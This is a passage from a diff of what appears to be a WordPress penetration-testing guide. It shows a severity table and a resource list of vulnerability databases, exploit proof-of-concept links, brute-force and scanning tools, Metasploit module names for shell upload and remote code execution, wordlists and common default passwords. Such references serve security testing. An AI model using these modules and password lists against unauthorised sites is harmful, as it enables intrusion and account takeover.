| Authenticated SQLi | HIGH | 7.5–8.0 |
|
|
1503
|
+
| Unauthenticated user enumeration | MEDIUM | 5.3 |
|
|
1504
|
+
| Outdated plugin (no active exploit) | LOW | 2.0–3.9 |
|
|
1505
|
+
| debug.log publicly accessible | HIGH | 7.5 |
|
|
1506
|
+
| wp-config.php accessible | CRITICAL | 10.0 |
|
|
1507
|
+
|
|
1508
|
+
---
|
|
1509
|
+
|
|
1510
|
+
## 10. Resources
|
|
1511
|
+
|
|
1512
|
+
### CVE and Vulnerability Databases
|
|
1513
|
+
|
|
1514
|
+
- WPScan Vulnerability Database: https://wpscan.com/wordpress-security-scanner
|
|
1515
|
+
- WPScan API: https://wpscan.com/api
|
|
1516
|
+
- WordPress CVE list (NVD): https://nvd.nist.gov/vuln/search/results?query=wordpress
|
|
1517
|
+
- Patchstack vulnerability database: https://patchstack.com/database/
|
|
1518
|
+
- Wordfence Intelligence: https://www.wordfence.com/threat-intel/vulnerabilities/
|
|
1519
|
+
|
|
1520
|
+
### Exploit Repositories
|
|
1521
|
+
|
|
1522
|
+
- Exploit-DB WordPress entries: https://www.exploit-db.com/search?q=wordpress
|
|
1523
|
+
- CVE-2024-3673 (popup-builder): https://www.cve.org/CVERecord?id=CVE-2024-3673
|
|
1524
|
+
- CVE-2023-32243 (Elementor Pro) PoC: https://github.com/alirezaarzehgar/CVE-2023-32243
|
|
1525
|
+
- CVE-2020-25213 (WP File Manager): https://github.com/w4fz5uck5/wp-file-manager-0day
|
|
1526
|
+
- CVE-2020-35489 (Contact Form 7): https://github.com/dn9uy3n/Check-WP-CVE-2020-35489
|
|
1527
|
+
- Slider Revolution file disclosure: https://www.exploit-db.com/exploits/36554
|
|
1528
|
+
|
|
1529
|
+
### Tools
|
|
1530
|
+
|
|
1531
|
+
- WPScan: https://github.com/wpscanteam/wpscan
|
|
1532
|
+
- WPScan Docker: `docker pull wpscanteam/wpscan`
|
|
1533
|
+
- xmlrpc-scan: https://github.com/nullfil3/xmlrpc-scan
|
|
1534
|
+
- WordPress Exploit Framework: https://github.com/rastating/wordpress-exploit-framework
|
|
1535
|
+
- CMSmap: https://github.com/Dionach/CMSmap
|
|
1536
|
+
- WordPress Brute Force (Metasploit): `use auxiliary/scanner/http/wordpress_login_enum`
|
|
1537
|
+
- hashcat (phpass mode 400): https://hashcat.net/hashcat/
|
|
1538
|
+
|
|
1539
|
+
### Metasploit Modules Reference
|
|
1540
|
+
|
|
1541
|
+
```
|
|
1542
|
+
auxiliary/scanner/http/wordpress_scanner
|
|
1543
|
+
auxiliary/scanner/http/wordpress_login_enum
|
|
1544
|
+
auxiliary/scanner/http/wordpress_xmlrpc_login
|
|
1545
|
+
auxiliary/scanner/http/wordpress_xmlrpc_enum
|
|
1546
|
+
exploit/unix/webapp/wp_admin_shell_upload
|
|
1547
|
+
exploit/unix/webapp/wp_property_file_upload_exec
|
|
1548
|
+
exploit/unix/webapp/wp_revslider_file_read
|
|
1549
|
+
exploit/multi/http/wp_wysija_newsletters_upload
|
|
1550
|
+
exploit/unix/webapp/wp_wpfilemanager_rce
|
|
1551
|
+
```
|
|
1552
|
+
|
|
1553
|
+
### Wordlists
|
|
1554
|
+
|
|
1555
|
+
- rockyou.txt: `/usr/share/wordlists/rockyou.txt`
|
|
1556
|
+
- WordPress-specific wordlist: https://github.com/drtychai/wordlists/blob/master/fasttrack.txt
|
|
1557
|
+
- SecLists WordPress: https://github.com/danielmiessler/SecLists/tree/master/Passwords/darkweb2017-top10000.txt
|
|
1558
|
+
- Common WP passwords: `admin, password, wordpress, changeme, 123456, admin123, [company_name][year]`
|
|
1559
|
+
|
|
1560
|
+
### Reference Reading
|
|
1561
|
+
|
|
1562
|
+
- WordPress Security White Paper: https://wordpress.org/about/security/
|
|
1563
|
+
- OWASP WordPress Security Testing: https://owasp.org/www-project-web-security-testing-guide/
|
|
1564
|
+
- Offensive WordPress: https://github.com/m8sec/offensive-wordpress
|
|
1565
|
+
- WPScan Blog: https://blog.wpscan.com/
|